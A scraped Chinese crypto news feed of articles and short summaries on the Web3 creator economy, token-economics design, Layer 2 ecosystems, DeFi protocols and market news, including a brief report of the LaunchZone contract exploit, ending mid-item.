创作者的玩法模式恰恰相反。为了建立能够带来营收的庞大粉丝群体，Web3 创作者不需要先从创作免费内容开始，而是通过创建代币（NFT 或同质化代币）来直接营业。它会吸引那些对该资产的所有权所具有的潜在利益感兴趣的人，也即粉丝中的初始受众。然后，创作者可以利用从代币销售中获得的的初始资金，以及代币持有者群体来启动其创意工作。于是，这类粉丝也加入了游戏，见证创作者取得成功，并受到激励，甘愿充当成创作者及其作品的布道人。内容创作、受众增长和盈利的良性循环就这样开始了。 这一玩法的关键在于数字稀缺性：随着创作者名气变大或者更加成功，他们发行的代币也会变得更加抢手和值钱。通过代币化实现数字稀缺性的重大意义，在我关于 Web3 对创作者经济的影响的博文中也进行了解读： 通过将作品制作成NFT，创作者为媒体所有权和出处创建了一个可验证的链上记录。最终结果是一件唯一的、可追溯到艺术家的数字资产。热爱该创作者作品的粉丝愿意为这件经典媒体作品支付更高的费用，创作者也能够更好地捕获粉丝的全部支付意愿。 Web3创作者的生命周期 这种 Web3 创作者模式反映了 Chris Dixon 为「启动代币激励网络」所勾勒出的要点。在传统网络中，一个新网络的用户效用受限于应用的效用──或者对创作者而言，受限于其创意产品的效用。代币则引入了一个额外的效用来源：金融实用性。在一个网络的早期──或者说，在一位创作者事业的早期，代币为受众提供了一个补充性的效用来源。 来源：a16z 在各种创意相关的垂直领域，这样的例子已经不胜枚举。在电影行业，Shibuya 通过出售制片人通行证 NFT，为制作动画剧集《白兔》筹得 400 ETH（约合 120 万美元），该通行证允许持有人决定每个章节的进展，并成为成品电影的共同所有者。同样，电影/动画制作人 Robbie Shilstone 在 Formfunction 平台上通过 NFT 筹集了超过 324 SOL，数十名支持者同时也能够参与电影的制作过程。在真人秀领域，Mad Realities 通过销售 NFT 为他的约会节目众筹了 172 枚 ETH，其NFT 所有者拥有多项治理权，包括每周对演员进行投票，在拍摄时为参赛者刷礼物，并投票选出获胜的伴侣。出版行业，Tally Labs 即将出版的小说《Bored & Dangerous》将 2800 名 Writers Room NFT 持有者纳入写作过程，NFT 持有人有权决定书中出现的角色，并对故事的发展方向进行投票。音乐领域，许多 Web3 艺术家已经尝试了类似 Daniel Allan 的实验，向粉丝空投代币，并提供诸如试听会、代币持有者限定内容等福利。 在这些案例中，代币不仅有助于创作者获得工作所需的前期资金，而且在许多情况下，代币甚至成为产生首批受众的谢林点（Schelling point）。有了代币提供的激励一致性，这些受众变成了活跃的共同创作者和利益相关者，获得了引导和塑造作品的原动力，成为作品的布道人。 虽然对代币的使用仍处于起步阶段，但创作者的这一新玩法很可能对创作者经济产生影响，尤其在三个方面：创意工作的平民化、粉丝文化的性质、以及创作者自身的角色。 1. 更容易走上创作之路 Web2 创作者模式下，创作者在看到任何投资回报之前，通常要花费很长时间创作免费内容。代币玩法加快了获得资本和受众的速度，因而降低了这类经济壁垒，使得广大心怀抱负的创作者得以追求创意事业。 当然，目前仍有一些阻碍需要考虑。虽然这种玩法可以促进资金和受众的增长，但它并没有消除培养一小群关注者所需要付出的前期努力，他们是一群乐于接受创作者发行的代币的铁粉。启动众筹时，Daniel Allan 只有大约200 名推特粉丝──这样的受众规模对于广告等传统盈利模式来说确实可行性不高，然而他的确不得不花费大量时间去和收藏者培养关系。Billboard的一篇文章中描述到：「在《Overstimulated》发行前的几个月里，Allan 每天在 Twitter 和 Discord 上花费超过 8 小时。他发私信给Web3 音乐领域的每个人。他加入几十个 Discord 服务器，每天跟大家说 “gm”（Good Morning），并与音乐 NFT玩家建立联系。[...]众筹活动结束时，这张专辑有 87 位支持者──其中至少有 50 位都是 Allan 事先有过个人联系的。」Web3 创作者的玩法减少了盈利所需的受众规模，但事实上，与为数不多的铁粉建立更深的关系也愈加重要了。 其它主要障碍则在于教育和接触的机会：为了让创作者能够用得上这个新玩法，他们必须意识到这条途径的存在，并且有机会接触到可用的工具。这就是为什么 Web3 生态系统继续投资于开发各种资源和工具至关重要，只有这样，才能让无论处于什么背景的用户都能够有接触的机会。教育类项目，如Seed Club 的加速孵化器、Forefront 的Web3 创作者空间、HIFILabs的 Web3 艺术家群组计划、以及MusicNFT发布平台等，都是为了满足让更多创作者加入 Web3这一重要需求的活动案例。 2. 粉丝文化性质的演变 在 Web2 的创作者经济中，创作者的观众之间的关系基本上是单向的。Web3 创作者的玩法则开辟了一条道路，让粉丝能够在两个主要的载体上发挥更加积极的作用。 从粉丝到投资人 在 Web2 创作者模式下，粉丝被创作者吸引是出于内在原因──因为他们喜欢创作者的作品。Web3 模式引入了一个额外的动机：所有权。一些支持者会出于投机的原因被吸引──因为他们将所有权视作从二次销售中牟利的必要条件。 由于代币所有权给激励机制带来的转变，创作者及其社区之间的态势也有发生改变的可能。当粉丝遭遇经济损失时，创作者和受众之间的关系会发生什么变化？如果代币贬值，粉丝会撤回他们的支持吗？这些都是创作者生态在新的创作者玩法走向成熟的过程中必须要解决的问题。 从漠然的路人到活跃的利益向相关者 传统上，内容创作是一个单向的过程：创作者负责创作，受众负责消费。新的创作者玩法将创意工作变成了一个参与式的过程，代币持有者想直接影响到作品本身，因为作品的成败与他们的经济利益息息相关。Jenkins the Valet就是一个例子,这枚无聊猿 NFT 的所有者一手打造了它的故事和人设；现在它已经与 CAA 签约，成为一系列全新创意项目的基础。所有这些衍生项目都提高了无聊猿的知名度，为该作品集的生态系统积累了价值。很难想象，在传统背景下粉丝会不遗余力的去帮助创作者取得成功，但 Web3 提供了经济利益的一致性，从而激励社区参与者去做更多的事情。 与这种转变相关的影响是不可预料的。受众参与共创过程，会增强还是限制创意潜力？创作者如何平衡自己的创意愿景和支持者的愿景？ 3. 创作者角色的改变 随着 Web3 玩法的应用，会发生变化的并不仅仅是粉丝群体，创作者也会发现自身的角色产生了变化。这是因为 Web3 玩法改变了创作者成功所需的技能组合。 比之于自顾自地盯着内容创作，创作者不得不从一开始就熟练掌握是市场营销、发展人脉和社区管理等技能（或者，将这些工作委派给具备相应技能的社区成员）。他们必须一路像创业公司创始人那样运作：筹集资金、传播愿景，以及平衡相关人员的利益。在日益流行的 CC0 模式（“无保留版权”）下，这一点被发挥到了极致──采用 CC0 的创作者允许他人以任何方式使用其作品，包括用于商业目的。CC0 创作者的角色变得更像是社区管理和照应，而不是内容创作的第一方。 同样，这种转变带来的更广泛的影响还有待观察。来自粉丝投资人的意见和期待会不会造成最终作品的无序、阻碍创意潜力，并诱发更严重的创作者焦虑或倦怠？或者，大社区对作品的集体声援，是否将对创意项目有所裨益 ? 创作者的更多选择意味着更有活力的创作者经济 在过去的几十年甚至几个世纪中，通过更多的机会、各种商业模式，和新技术带来的低入行门槛，创作者经济演绎了释放潜能的精彩故事。代币激励为创作者经济提供了一个令人兴奋的新工具，它能够让创作者从无到有地获得支持者、掌控新的盈利和价值捕获机制，并与他们的受众共同进行创作。 正如 Web2 玩法没有取代传统出版行业，Web3 玩法也不会完全取代 Web2 创作者经济的玩法。相反，它为创作者开辟了新的道路，最终将通往一个更加强大、更具活力的创作者经济。  ( 5 min )
    彭博社：交通银行、中国银行、浦发银行的香港分行或考虑向在港加密公司提供服务
    PANews 3月27日消息，据彭博社报道，知情人士表示，中国交通银行、中国银行、上海浦发银行的香港分行可能已经开始向当地加密货币公司提供银行服务，或正对该领域进行调查。知情人士称，至少有一次，一家中国的银行销售代表前往一家加密货币公司的办公室，推销其服务。 截至发稿，中国银行、交通银行和上海浦东银行未回应置评请求。  ( 4 min )
    数据：美国政府扣押的比特币价值达56亿美元，约占流通供应量的1.06%
    PANews 3月27日消息，据Bitcoin.com报道，根据目前的统计，截至2023年3月25日，美国政府持有205,515枚比特币，价值56亿美元，约占流通供应量的1.06%。 这些比特币主要来源于从2020年开始的三起没收事件，包括2020年11月没收的与丝绸之路暗网相关的69369枚BTC，2022年从Bitfinex黑客没收的94,643枚BTC，以及去从James Zhong没收的51,326枚BTC。根据Glassnode于2023年3月9日发布的一份报告，其中一些比特币已经转移，总数从 215,338枚BTC减少到205,515枚BTC。 此外，美国政府扣押的比特币数量仅次于灰度（643572枚），但超过了Microstrategy持有的132500枚BTC。  ( 4 min )
    1inch社区拒绝由Solidity.io为其创建NFT聚合市场，但通过另一项类似提案
    PANews 3月27日消息，Snapshot投票页面显示，1inch社区以68.78%的投票反对率拒绝了由Solidity.io为该社区创建NFT市场的提案，有社区成员表示，该提案的格式、计划安排、执行均有问题，比如该提案没有在提案题目开头前添加“1IP-#”，且该计划的实施需与1inch基金会达成合作，但该提案的表述误导了社区等，双方并未达成合作。 此外，社区的另一项提案1IP-21以71.44%的支持率获得通过，该提案同样提议为社区创建一个NFT聚合市场，开发服务将外包给Blockchain App Factory (BAF)， BAF将与1inch架构和BE团队保持一致，领导拟议NFT市场的开发执行。该提案的申请的预算约为38.7万美元。 此前3月22日消息，1inch发起创立NFT交易聚合器的提案投票，该提案提议Solidity.io将为此聚合器提供技术支持。  ( 4 min )
    浅析DeFi和GameFi中代币经济学的最新趋势
    作者：HIRAYAMA SHO 翻译：@KP|Buidler DAO 校对：@Han Yue 全文 3778 字，预计阅读时间 12分钟 DeFi 和 GameFi 的双代币模型是怎样工作的？ 上表列举了使用双代币模型的项目，其关键就是效用代币(Utility Token)。Maker 和 Terra 分别将 $DAI 和 $UST 价格锚定为1美元，Axie 的 $SLP 不是稳定币，而是有通胀倾向的游戏内代币。$MKR 和 $LUNA 与 Axie 的代币经济学不一样，这两个代币都可能会为了各自稳定币进行增发。 在 Terra 崩溃之前，按照它的代币经济学，如果 $UST 的价格向下偏离，协议会发行 $LUNA 从套利者手中购买 $UST。由于铸造了所需数量的 $LUNA 去购买 $UST，理论上 $UST 的价格是稳定的，即使 $LUNA 的价格下跌，不管 $LUNA 的价格是多少，只要有人继续在市场上购买 $LUNA 就行了。$DAI 会更稳定些，因为它使用 $ETH 作为抵押物，如果抵押物价格下降平台资不抵债时，平台会增发 $MKR 去购买 $DAI。这两种机制都是将效用代币的价格不稳定性转移到备用代币 (Backup Token) 的数量不稳定性。 Axie 的代币模型稍微有点不一样。为了不让 $AXS 通货膨胀，Axie 团队将通胀属性转移到了 $SLP，所以 $SLP 本身就被设计成有通胀属性。那么怎样给玩家提供稳定的收益将变得有挑战性，因为玩家主要通过获得 $SLP 奖励来获得稳定的美元收益。然而 $SLP 具有通胀属性，当 $SLP 价格下跌时，如果平台想保证玩家的收益，给到玩家 $SLP 的数量需要增加，这又进一步加剧了通胀。但是，就像 $LUNA 和 $UST 的机制一样，只要有人在市场上继续购买 $SLP 以使价格稳定，理论上以稳定数量的 $SLP 奖励玩家是可能的。Axie 与 Maker 和 Terra 不同的地方在于，它不通过售卖治理代币来稳定效用代币的价格。 无尽通胀代币模型与芝诺悖论有点相似。这种双代币模型看起来是一个精妙的解决方案，但是一旦超过了某个临界点，无法控制的恶性通胀就会出现并摧毁整个系统。将价值和需求分开设计成两个代币作为双代币模型本身就充满矛盾而且没有理论依据。 毕竟代币经济学并不是万能的，代币没有设计好的游戏无异于一个不可持续的模型，一旦流入的资金停止了，它就开始崩塌。 对于转向 Web3 工作室来说，审慎的代币设计和代币经济学是最重要。如果要引入代币，至少应该要意识到这些代币将不会引发死亡螺旋。同样的，对于 GameFi 的代币经济学设计者，DeFi 的代币模型具有参考价值，但是他们也要意识到 GameFi 和 DeFi 是两种完全不同的组合形式和价值循环。 研究 DeFi 案例是防止意想不到的情况发生的一种方式。 比如，净正金池 (The net positive gold sink) 作为一种延迟通胀的方式被人所熟知，在 DeFi 代币模型中却是一种十分严重的缺陷，如果引入到游戏将会带来严重破坏。 下面的表格总结了在本文撰写时主要 DeFi 产品的代币分配方式。大部分的通胀模型要么很简单，要么就是用了延迟通胀模型。然而 Curve 很独特，它的治理代币质押者将会获得美元稳定币，锁定系统实现了流通 CRV 暂时性减少。 我们发现的不可持续模型 上面左图展示了金融领域典型的现金流贴现法和净现值，项目的净现值是基于未来收入的折现。上面右图展示了不可持续的代币经济学模型，它根据手上现有的资金去调整之后的代币分配。这些不可持续的代币模型设计具有完全相反的价值生成循环，因为它需要从什么都没有创造出一些东西出来。 当游戏玩家长期开发自己的 Avatar 或角色并以此作为收入来源，代币设计会变得更加困难，原因如下： 在没有用户反对的情况下很难改变规则。 财富从后来的玩家转移到之前玩家的情况可能会发生。 正向反馈太强以至于不能容许生态系统收缩，即使是暂时性的。 BAYC 的开发者 Yuga Labs 已经做了很多探索和创新，他们通过 NFT 销售来做特定的资金募集，依靠二级市场版税创造持续收入，围绕叙事展开社交媒体营销。 比如，Yuga 向 BAYC 持有者空投 MAYC，为 MAYC 建立起一种叙事并增加了它的价值，如果空投的物品具有价值，那么 BAYC 的价值会增加更多。Yuga 后续又成功地用同样的方式空投了 BAKC、APE 代币、Otherside 土地 NFT。Yuga 的成功让越来越多的项目采取了相似的方式，比如 RTFKT 和 Moonbirds，他们在最开始就明确承诺将会给持有者提供回馈。 上表列举了在不同领域资金募集、重复销售收入和用户奖励的方式。 一个有趣的点在于版税费作为 NFT 项目持续收入来源的重要性。这种现象反映出市场将 NFT 看作投资品而不是艺术品，项目团队可以获得二次交易收入。下面的文章也指出了这种现象。 要注意的是，类似 Sudoswap 这类不支持版税费的平台逐渐崛起，这将导致从二级市场不断获取收入这种方式变得不可行。想象一下朋友之间在场外交易 NFT，你会发现没有任何技术手段可以强行加收版税费。 Yuga 也解决了经济可扩展性问题。即使成功发行了高端 NFT 项目，如果 NFT 的数量只有10000，市场份额将不可避免地会很小。因此 Yuga 连续创造了19134个 MAYC、9602个 BAKC、10亿 APE 和98115个 Otherdead。不断增长的发行数量导致的价值稀释也通过对当前持有者的特惠待遇以及加密圈内外的市场营销被抵消了。 公链上的生态系统由各种产品之间的交互形成，然而游戏通常会形成独立的系统，这是因为游戏属于应用层，在垂直和水平方向上都只有有限的兼容性。想象一下区块链受益于建立在它上面的产品，DeFi 基础设施也受益于建立在它上面的产品，兼容性差就限制了区块链外部的价值流入通道。 我们必须理解到，当游戏内 NFT 和 FT 增发了新的代币时，意味着位于最上层的产品以一种权益证明 (Proof of Stake) 的方式增加了流通代币供应。这就是为什么当我们设计一个与游戏经济联系紧密的代币时，我们必须将效用（代币）运行在一个封闭的经济区，我们不能给不提供经济回报的治理代币增加经济价值。 当一个资金雄厚的游戏工作室希望开发一款 Web3 游戏而不用担心代币设计，有一个选择就是开始不发行代币，而是用像 BUSD 和 USDC 这样的稳定币。 好消息是应用层最接近终端用户，未来终端用户将是最大的价值流入来源。在上面树状图中，树枝的末梢看似是终点，但是那里有大量的终端用户。 因此，应用层必须建立一个不同于其他层的利润模型，代币经济学自然也会有不同的地方。重点在于独立运行且兼具 DeFi 功能的产品没有兼容性，或者不需要兼容性，将不可避免地迁移到它们自己开发的区块链或 L2 上。 这就是为什么特定应用链不断在增加，例如 BAS（BNB应用侧链）和 zkBNB。不必说，特定应用链的代币经济学也将变得更加重要。独立的区块链原生代币在系统中除了做应用程序的效用代币外，也被用作交易费用和共享权益费用 (Shared Security Fees)。 如果价值流入受限于战斗通行证 (Battle Pass) 购买和 NFT 销售，我们在设计游戏经济系统时必须要注意初始代币市值和预期的经济增长速度。这是由于缺乏兼容性，这些数字在长期来看不可能比预期更好，尽管可以比预期更差。 效用代币的发行计划会受到很多因素的影响，下面是一个简化的案例样式。 流通中的代币跟事件所需代币数量有关，进一步又跟每天的事件数量和每个 NFT 的事件数量有关，最后又跟NFT的供应量有关。 当我们拥有单一清晰的目标铸造/燃烧比例，为什么我们还需要控制多个变量呢？这是因为玩家从游戏中获得的效用 (Utility) 不仅仅是代币的数量，还有在各个阶段玩游戏的体验。即使在某个特定阶段获得的代币数量很少，但如果总体体验物有所值，玩家也会很开心。 由于一个元宇宙空间本身具有与现实世界相近的复杂结构，代币的发行和分配必须根据游戏玩家的行为数据和满意度水平进行动态地和自发地调整。 一些游戏引入了有趣的机制。 赛季 对玩家来说，引入赛季机制意味着游戏平衡在每个赛季都会进行调整。玩家理解这个机制，当进入到游戏发现人物和物品调整了之后，就会更少地感到不满。带来的好处是不需要特别照顾现有玩家，可以更加公平地调整规则。 NFT 耐久性 玩家可以使用 NFT 角色参与边玩边赚游戏，但是这些 NFT 只能使用特定次数，一旦达到了次数限制，NFT 将不能用于赚取代币。即使效用代币的供应是无限的，我们仍可以控制代币发行速度，或者通过限制 NFT 供应来控制。 通过引入赛季和耐久性机制，玩家会在特定赛季购买特定 NFT。开发团队可以通过分隔游戏时间段来延长游戏寿命。 负和博弈 (Negative-Sum PvP） 设计可持续经济模型一个最关键的地方是怎么让负期望值的游戏受到大众欢迎。赌场和赛马是很好的例子，也就是说，它们不仅仅是概率游戏，同时具有一种让玩家愿意花钱交换乐趣和刺激的机制。 在赌场中，玩家肯定有输的概率，但是他们本意是想赢。赌场的收入来源可被认为是认知扭曲和体验消费。 许多博弈模型都是负期望值游戏。为了控制通货膨胀，团队需要让这个模型变得有趣，使用数据分析去触及潜在用户，通过 eSport 和游戏直播扩大游戏认知度。此外，为了增加并维持玩家数量，社区资金应该被分发邀请给潜在用户以及为持续损失的用户提供有利的队友结构。 最重要的事情是提升用户体验，不仅仅只有铸造/燃烧比例。那些了解代币经济学重要性的团队过于全身心投入到控制通胀和可持续性，而忽略了创新和加密游戏本身的潜力。 有两件事现在是很显然的。 游戏在许多领域将会变得越来越重要。 许多游戏将会尝试进入 Web3。 然而，Web3 最好的经济模型还没有找到，同时也没有证明 Web3 在某些方面就比传统游戏更好。 关键就是要理解 Web3 和传统游戏所认为的合理存在巨大差距。比如传统游戏认为被监管保护是合理的，然而 Web3 认为自由和公开透明必须的。这个认知鸿沟中就存在 Web3 的社会价值和成功机会。 创造只有 Web3 能做到并且任何人都能理解的用户体验非常重要。为此，仅仅在现有的游戏引入代币或者忽视传统游戏并想要创造完全新的机制可能不会奏效。 我们需要谦虚地去模仿现有的成功机制，要比任何人都熟悉传统游戏和 Web3 之间的内在区别。 这样，我们将会找到 Web3 的真正价值。  ( 6 min )

  • Open

    为什么公共产品对 Web3 至关重要？
    Chainfeeds 导读： Gitcoin 筹资及合作关系负责人 Azeem Khan 撰文阐述公共产品在 Web3 构建中的重要意义，认为在互联网的下一次迭代中，公共产品和新的所有权模式将有效结合。本文中文版由 Foresight News 编译发布。 文章来源： https://foresightnews.pro/article/detail/29196 文章作者： Azeem Khan（Gitcoin筹资及合作关系负责人） 观点： Azeem Khan（Gitcoin筹资及合作关系负责人）：公共物品的特征是不限制任何人使用，并且一个人的使用不会对其他人产生负面影响。Web3 令人兴奋的关键原因之一是公司可以通过另一种方式赚钱，而无需利用用户获取数据和利润。Web3 世界中存在与用户共享利润和价值的开放平台，它使我们能够为所有相关人员创造更多价值。平台不会完全控制数据，用户将拥有他们创建的任何内容，并保留他们购买的数字资产的实际所有权。 内容来源  ( 16 min )
    L2 Summer 将至？一文掌握 StarkNet 技术原理及生态
    Chainfeeds 导读： 随着 Layer2 生态愈发成熟，项目间的竞争和用户的 fomo 带来的财富效应已经让 Layer2 Summer 呼之欲出。作为 Layer2 四大天王中估值最高（母公司 StarWare 估值 80 亿美金）的项目，StarkNet 生态项目的含金量不用多说，从近期的交易活跃度就可见一斑。Biteye 社区核心贡献者 Hankester 撰文介绍 StarkNet 及其生态内重点项目。 文章来源： https://mp.weixin.qq.com/s/YIcZx7DlIa6deDVYzMHFyw 文章作者： 0xHankester 观点： 0xHankester：钱包：1）Argent X：Argent 推出的首个支持 StarkNet 的钱包，利用 StarkNet 原生账户抽象实现多重签名和无助记词，同时实现更低的交易费用和更快的确认时间。2）Bravvos：致力于提供无缝 Web2.0 用户体验，可在 iOS、安卓及多种浏览器使用；跨链桥：1）StarkGate：StarkWare 开发的以太坊↔Starknet 官方跨链桥。2）Orbiter Finance：去中心化跨 Rollup 桥，允许用户在 ETH 主网、StarkNet、 zkSync、Arbitrum、Optimism、Polygon 等进行资产跨链。 内容来源 0xHankester：DeFi：1）10KSwap：旨在利用 rollup 提升 AMM 协议性能，为 L2 世界带来更低费用、更少摩擦及更好流动性。2）Nostra：去中心化借贷协议，支持闪电贷，原生稳定币 UNO。旨在构建 StarkNet 的流动性层，由 Nostra 货币市场、UNO、Nostra Swap 组成。3）ZKX：永续期货交易平台，旨在通过去中心化节点网络和升级交易体验提供进一步的可扩展性。 内容来源 0xHankester：DID：1）StarkNet.id：域名服务（.stark），让用户免费铸造去中心化身份并将数据附加到上面。2）WIW Protocol：注重隐私保护的链上身份协议，根据用户链上行为生成标签，帮助构建身份系统；NFT：1）Aspect ：StarkNet 生态首个 NFT 交易平台，交易量较小。2）Mint Square：致力于为用户提供更便宜、更快确认速度的 NFT 交易体验，同时部署在 zkSync Era 上，交易量略高于 Aspect； 内容来源 0xHankester：Game：1）cartridge.gg：链游集成平台，类似 Steam。2）Briq：3D 方块构建 NFT 类型链游，用户可以使用 Briqs 建造 ERC-1155 标准的 NFT、构建链游。3）Influence：沉浸式太空战略沙盒 MMO，代币 SWAY。玩家拥有专属小行星，通过操纵不同职业的船员，进行采矿、贸易、战斗等。4）Loot Realms：大型多人、链上可组合策略类游戏生态，代币 LORDS。 内容来源  ( 35 min )
    【播客】Smart Token Podcast｜EIP-5169：赋能代币的客户端脚本革命
    Chainfeeds 导读： Smart Token Labs 播客邀请 AlphaWallet 核心开发者 SeabornLi 分享关于 EIP-5169 的主题，包括：客户端的代币合约脚本 EIP-5169 及案例举例；EIP-5169 与 NFT 的结合能带来真正的权益和效用；EIP-5169 还可以应用于 DeFi 、传统平台的积分系统等不同场景以及其他有意思的 EIPs 提案。 文章来源： https://www.xiaoyuzhoufm.com/episode/642123a0179eec53316f4f28 文章作者： Smart Token Labs 中文 观点： ChainFeeds：播客重点摘录：1）EIP-5169 的核心是在 Token 上提供一个新的接口 ——Script URI，它可以指定一个脚本地址；2）这使得 Token 具有一定的功能，提高用户体验。通过 EIP-5169，NFT 可以拥有更多优势，如代表健身房会员卡、俱乐部会员卡或汽车钥匙等；3）此外，它还有助于传统品牌进行快速、方便、低成本的集成，实现无摩擦的集成；4）EIP-5169 将能促进 NFT 从简单的头像图片到线上线下商业场景的发展，推动区块链技术和去中心化能力应用于各个行业。【Powered by OpenAI/GPT-4】 内容来源  ( 2 min )
    【英文长推】Arbitrum 生态值得密切关注的 5 个代币
    Chainfeeds 导读： 自 Arbitrum 空投以来，TVL、费用和链上用户活动都处于历史高位。推特加密 KOL Thor Hartvigsen 深入分析了应该密切关注的 5 个顶级生态系统代币：PLS、GRAIL、GNS、RDNT 和 GMX。 文章来源： https://twitter.com/ThorHartvigsen/status/1639936782824538112 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：1）PLS（ARB 分配 270 万枚）：Plutus 是 Arbitrum 上 ARB、DPX、JONES、SPA 和 RDNT 的治理聚合器，已被委托超 1130 万枚 ARB，是 ARB 第三大委托主体。plsARB 和 plsRDNT 的流动资金池即将启动，pls V2 也越来越近；2）GRAIL（ARB 分配 220 万枚）：ARB 推出当天，Camelot 的 TVL 和成交量创历史新高，Arbitrum 上平均日交易量是 Uniswap 的 5%，有很大增长空间。【原文为英文】 内容来源 Thor Hartvigsen：3）GNS（ARB 分配 193 万枚）：平均而言，gTrade 的交易量是 GMX 的一半，但收入是其 2-3 倍。尽管去中心化永续利基市场有很大的竞争（Vela 和 Kwenta 等），但我相信 gTrade 会凭借其独特的流动性效率、交易对和 UI/UX 继续吸引交易者；【原文为英文】 内容来源 Thor Hartvigsen：4）RDNT（ARB 分配 335 万枚）：Radiant 通过 Stargate 和 LayerZero 实现全链流动性，提供独特的借贷市场。上周推出的 V2 对代币经济模型和激励机制进行了改进，添加了新资产以及跨链 EVM 扩展，向全链协议更进一步；5）GMX（ARB 分配 800 万枚）：GMX 大量的交易量为 GMX 质押者和 LP 创造了大量的费用分配，年初以来交易员 PnL 基本上为正。GMX V2 的推出、ARB 分配和强大的社区效应都值得关注。【原文为英文】 内容来源  ( 2 min )
    【长推】如何利用 Trader Joe 流动性池实现 ARB 年收益最大化
    Chainfeeds 导读： ARB 自上线以来持续引发大量关注，选择什么样的流动性池做 LP 才能收获可观的年化收益？加密研究员 Christian2022.eth 发推分享自己选择 Trader Joe 的原因。 文章来源： https://twitter.com/christianli2000/status/1640250672846356481 文章作者： Christian2022.eth 观点： Christian2022.eth：trader joe 在 arbitrum 上的流动性池主要分为 arb/eth 和 arb/usdc，分不同档位（手续费抽成不同）。相较于 usdc/arb 的池子，eth 和 arb 明显关联性更强，同时我个人持这两种资产中长期看多的观点，因此更加合适。 内容来源 Christian2022.eth：目前 trader joe 上 eth/arb 的池子仍然能维持在 230% 左右的年化，设置方法分为四种。我倾向选择 wide 也就是均分，原因是 arb 短期还是有波动的，wide 能省去一些繁琐步骤。追求收益最大化可以选择 spot，然后及时调整，但要付出滑点，所以要谨慎考虑。trader joe 池子可选的范围基本上是 10 个点以内，这意味着如果波动超过 10 个点，你的池子就会溢出，拿着满手单边资产。 内容来源 Christian2022.eth：所以拿 eth 和 arb 组池子拿手续费是目前我个人认为套利收益最高的，前提是相信这两类资产，长期看好 arb 链的发展价值。这个收益一定会变低，长期来看估计 50-80% 年化就不错了，但仍然跑赢其他生息手段，且稳健，我不担心拿任何一种资产到底。大家可以挑选 0.2% 和 0.8% 两个池子，收益可以复投，也可以拿在手里。 内容来源  ( 2 min )
    LaunchZone 早期合约 Bscex 漏洞致近 780 万美元被盗，受影响地址超 3.4 万个
    LaunchZone 早期合约 Bscex 漏洞致近 780 万美元被盗，受影响地址超 3.4 万个 据 Scam Sniffer 监测，BNB Chain 上项目 LaunchZone 的早期合约 Bscex SwapX 存在漏洞，早期批准该合约的用户面临风险。目前已有 7782060 美元资金被盗，34065 个受影响钱包地址，请用户尽快检查并撤销授权。 内容来源 观点： 余弦（慢雾创始人）：谁能想到 2～3 年前钱包地址授权的一个项目出漏洞，许多用户一直没取消授权，有黑客就不断监测这些存在授权风险敞口的钱包地址，一旦发现有资金就盗走... 已经超过 700 万美金被盗了。 内容来源
    【英文长推】Fantom 入门五问：运行方式、交易费用…
    Chainfeeds 导读： Vertical Blocks 发推整理 Andre Cronje 通过 Infinite AMA 回答的一些关于 FVM 和 Fantom 的问题，本文包括五个问题及相应回答。 文章来源： https://twitter.com/verticalblocks/status/1639098612784435204 文章作者： Vertical Blocks 观点： Vertical Blocks：1）FVM 会继承 EVM 的很多特性，比如智能合约的大小限制吗？随着存储方式的变化，不再有这种限制。2）FVM 会降低交易费用吗？从目前的基线来看，会大幅减少，但由于费用采用拍卖模式，所以这并不意味着在未来的某个时间点费用不会根据需求达到相同水平，而是说你可以用更少的 gas 执行更多的操作，这允许更复杂的互动。【原文为英文】 内容来源 Vertical Blocks：3）gas 货币化的交易手续费是怎么收取的？gas 费总额的 15% 将发送给指定的收件人。4）如果我将我的合约分成多个部分来帮助对抗 EVM 链的限制，它们是否仍然有资格进行 gas 货币化？是的，任何合约都有资格，即使分裂成许多子合约。5）除了减少存储大小和速度之外，FVM 的运行方式有何不同？首要目标是存储大小和速度，因为这可以转化为更复杂的代码原语。除了存储 / 速度之外，虚拟机中没有太多改进的地方。【原文为英文】 内容来源  ( 2 min )
    【英文长推】了解 Arbitrum 生态保证金交易和借贷协议 Dolomite：无限集成可能性？
    Chainfeeds 导读： Dolomite 是 Arbitrum 生态蓝筹协议，支持现货结算的保证金交易、借贷及现货交易。加密研究员 slappjakke.eth 就协议背景、协议流及可能的策略对 Dolomite 进行了概述。 文章来源： https://twitter.com/Slappjakke/status/1639291732503453696 文章作者： slappjakke.eth 观点： slappjakke.eth：Dolomite 具有高度可组合性，允许构建一些有趣的策略，例如 Delta 中性 Vaults、做空 IL、对冲 IL 等。此外，用户可以根据自己的需求开立任意数量的隔离及交叉保证金借款头寸，每个头寸最多包含 32 种资产。其初始版本由 Zeppelin Solutions 和 Bramah Systems 审计，最新的版本由 SECBIT Labs 审计。【原文为英文】 内容来源 slappjakke.eth：1）现货交易：在 Dolomite 内置 DEX 中交易现货资产、未来还将集成 DEX 聚合器；2）保证金交易：允许以高达 5 倍的杠杆开设保证金交易；3）存款：存入的资产可被借用；4）开设借贷金库：存入的资产作为抵押品添加至借贷金库中；5）借贷：使用抵押品借入资金；6）资金池：将资金存入一个 LP 开始赚取交易费用。【原文为英文】 内容来源 slappjakke.eth：可能的策略：1）存入 GLP 作为抵押品，借用 ETH 和 BTC，随后做空 ETH 和 BTC 以换取 USDC，提取 USDC，存入 GLP，重复进行；2）存入 GLP 作为抵押品，借用 USDC，存入更多的 GLP，重复操作直到达到想要的杠杆率；3）做空 IL：存入抵押品，借用 LP 代币，在 LP 波动后偿还 LP 代币，最后提取利润；4）对冲 IL：将 LP 作为抵押品存入银行，借用资产做空。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Ponzinomic 的最佳模式？一文解读最大化 LSD 回报的协议 0xAcid
    Chainfeeds 导读： 0xACID 旨在最大化 LSD 资产（如 stETH、rETH、frxETH 等）的回报，并提供远高于普通 LSD 资产（通常只有 4-5% APR）的回报。加密 KOL DeFi Made Here 从 Ponzinomic （旁氏经济学）的角度分析其代币模型，认为 0xAICD 和 OHM 相似，有着很好的 Ponzinomic，收益持续，代币价格会走低，但应该不会归零。 文章来源： https://twitter.com/DeFi_Made_Here/status/1637890740192673792 文章作者： DeFi Made Here 观点： DeFi Made Here：为什么 0xAcid 可以得到更高的回报？ 0xAcid 协议产生的所有利润以 $wstETH 的形式分配给锁仓 $ACID 的持有者。当 $ACID 锁仓 TVL 低于国库价值时，用户将始终获得更高的质押奖励。不止如此，收益还取决于锁定的长度（最多 1 年）和锁定的供应比例。锁定比例越低，奖励越高。目前，锁定的 $AICD 在 $wstETH 的年利率为 10-27%。【原文为英文】 内容来源 DeFi Made Here：$ACID 有 3 种方式进入市场：1）绑定，用户可以绑定 $ETH 并以折扣价获得 AICD，有效期为 36 小时。2）ACID-ETH 